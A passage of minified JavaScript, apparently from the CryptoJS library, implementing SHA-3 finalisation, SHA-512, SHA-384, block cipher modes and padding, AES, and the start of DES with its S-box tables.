this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () {
|
||
function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) {
|
||
var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t;
|
||
} var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | 